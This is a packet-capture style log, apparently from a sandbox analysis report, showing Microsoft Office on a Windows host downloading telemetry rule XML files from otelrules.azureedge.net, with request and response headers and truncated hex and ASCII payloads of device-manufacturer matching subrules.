2024-12-04 15:12:02 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:02 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 9b0204ab-501e-0047-62c1-45ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151202Z-1746fd949bdjzh7thC1EWR3g6400000001h00000000007h6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:03 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.12	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:04 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 1b86d58a-f01e-0071-54ce-45431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151204Z-1746fd949bd2cq7chC1EWRnx9g00000000y000000000kgp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.12	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:04 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:04 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1e40fce6-401e-0078-1bd2-454d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151204Z-1746fd949bd54zxghC1EWRzre400000001k000000000mnw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:04 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.12	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:04 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:04 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: dbf7ebc2-101e-00a2-0ac7-459f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151204Z-1746fd949bdxk6n6hC1EWRdr8c000000016g00000000es0p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:04 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.12	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:04 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:04 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151204Z-1746fd949bdnq7x2hC1EWRpxr0000000014g00000000kcbw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:04 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.12	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:04 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:05 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: c29bf332-501e-00a0-0ccb-459d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151205Z-1746fd949bdb8xvchC1EWRmbd400000001ag00000000c8rm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:05 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.12	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151206Z-1746fd949bdhk6hphC1EWRaw3c0000000170000000004n66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.12	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151206Z-1746fd949bdjrnwqhC1EWRpg2800000001gg000000004hcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.12	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:06 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:06 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 490c4061-c01e-000b-75c3-45e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151206Z-1746fd949bdmv56chC1EWRypnn00000001hg00000000a6h0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.12	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:06 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151206Z-1746fd949bd77mkmhC1EWR5efc00000001kg00000000k55h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.12	49861	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:07 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:07 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8c022bf0-601e-0070-5bcb-45a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151207Z-1746fd949bdlqd7fhC1EWR6vt000000001kg000000008xk1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:07 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.12	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:12:08 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-04 15:12:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:12:08 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241204T151208Z-1746fd949bd2cq7chC1EWRnx9g0000000140000000000dnm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-04 15:12:08 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

